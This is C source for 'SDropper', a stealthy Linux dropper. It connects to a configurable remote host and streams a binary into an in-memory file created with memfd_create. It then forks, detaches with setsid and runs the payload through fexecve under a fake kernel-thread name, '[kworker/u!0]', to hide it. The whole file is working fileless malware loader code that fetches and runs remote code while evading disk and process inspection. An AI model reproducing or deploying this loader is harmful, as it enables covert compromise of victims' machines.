dropper.c

/*
  SDropper - Stealthy Dropper n
  Copyright (c) 2017 pico
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program.  If not, see <http://www.gnu.org/licenses/>.
*/
 
#include <stdio.h>
#include <stdlib.h>
 
#include <sys/syscall.h>
 
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
 
// memfd_open Syscall not defined
// Got index from http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
#define __NR_memfd_create 319
#define MFD_CLOEXEC 1
#define BUF_SIZE 1024
 
static inline int memfd_create(const char *name, unsigned int flags) {
    return syscall(__NR_memfd_create, name, flags);
}
 
extern char        **environ;
 
int
main (int argc, char **argv)
{
  int                fd, s, l;
  struct sockaddr_in addr;
  addr.sin_family = AF_INET;
  addr.sin_port = htons(P0RT);
  addr.sin_addr.s_addr = inet_addr("CH4NG3M3");
  memset(addr.sin_zero, '\0', sizeof addr.sin_zero);
  char               *args[2]= {"[kworker/u!0]", NULL};
  char               buf[BUF_SIZE];
 
  // Connect
  if ((s = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) exit (1);
  if (connect (s, (struct sockaddr*)&addr, 16) < 0) exit (1);
  if ((fd = memfd_create("a", MFD_CLOEXEC)) < 0) exit (1);
 
  while (1)
    {
      if ((l = read (s, buf, BUF_SIZE) ) <= 0) break;
      write (fd, buf, l);
      if (l < BUF_SIZE) break;
    }
  close (s);
  
  pid_t cpid = fork();
  if (cpid == 0){
    setsid();
    if (fexecve (fd, args, environ) < 0) exit (1);
  }
  exit(0);
  
  return 0;
    
}